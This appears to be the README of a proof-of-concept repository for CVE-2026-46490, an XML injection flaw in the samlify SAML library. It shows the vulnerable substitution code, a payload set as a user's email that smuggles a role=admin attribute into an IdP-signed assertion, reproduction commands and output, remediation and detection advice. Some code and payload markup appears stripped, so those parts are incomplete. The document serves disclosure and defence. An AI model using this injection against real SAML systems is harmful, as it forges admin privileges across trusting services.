Share
## https://sploitus.com/exploit?id=6210915C-9723-542E-AAB3-1FFADF0E92C4
# CVE-2026-46490 β€” samlify SAML `AttributeValue` XML Injection β†’ Privilege Escalation

> **samlify ` contexts**. A user-controlled value (e.g. `email` / `name`) placed into element
> text β€” `{Value}` β€” is inserted
> **unescaped**, so a normal user can inject extra `` elements
> (e.g. `role=admin`) into their **own, IdP-signed** SAML assertion. Because the
> injection happens before signing, the Service Provider's signature check passes
> and it consumes the forged attributes as authoritative.

| | |
|---|---|
| **CVE** | CVE-2026-46490 |
| **Advisory** | [GHSA-34r5-q4jw-r36m](https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m) |
| **Affected** | samlify ` {
    rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
  });
  return rawXML;
}

function escapeTag(replacement) {
  return (_match, quote) => {
    const text = String(replacement ?? '');
    // "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
    return quote ? `${quote}${xmlEscape(text)}` : text;   // {attrEmail}{Value}
```

So an attacker-controlled attribute value containing `` injects raw XML.

## Exploitation

The attacker sets their own profile attribute (here `email`) to:

```
eve@evil.com
admin

```

This closes the `email` attribute, **adds a forged `role=admin` attribute**, and
re-opens a throwaway attribute so the template's trailing
`` stays balanced. The IdP then **signs** the
assertion β€” covering the forged attribute. A standards-compliant SP validates the
signature (valid) and reads `role=admin`.

## Reproduce

```bash
cd lab && ./setup.sh        # npm i samlify@2.12.0 + generate IdP/SP keypairs
node poc.js
```

Output:

```
>>> INJECTION CONFIRMED: forged admin smuggled into the signed assertion
extracted attributes: {"email":"eve@evil.com","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
```

The PoC drives samlify's own IdP (`createLoginResponse`, which performs the
vulnerable `replaceTagsByValue` substitution and signs) and SP
(`parseLoginResponse`, which **validates the signature** and extracts attributes).
The SP surfaces `role: "admin"` β€” an attribute the attacker forged, not one the IdP
intended to issue.

## Impact

Any user who can influence one of their own SAML attribute values (email, display
name, …) on a samlify-based IdP can mint a **validly signed** assertion carrying
arbitrary additional attributes β€” group/role membership, entitlements, `isAdmin`
flags β€” and escalate privileges on every SP that trusts the IdP. SAML signature
validation does not help: the forgery is inside the signed scope.

## Remediation

* Upgrade to **samlify β‰₯ 2.13.0**, which XML-escapes interpolated values in element
  contexts as well, not only attribute contexts.
* Defense in depth: validate/normalize user-supplied attribute values server-side;
  prefer allow-listed attribute schemas at the SP.

## Detection

Inspect issued/consumed assertions for attribute values containing XML markup
(``, `` elements than the IdP template defines.

See [`ANALYSIS.md`](ANALYSIS.md) for the substitution regex, the quote heuristic, and
the patch.

---

* Author: **Caio FabrΓ­cio** β€” [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original reporter / vendor advisory; this repo
  is an independent reproduction for defensive and educational use. For authorized
  security testing only.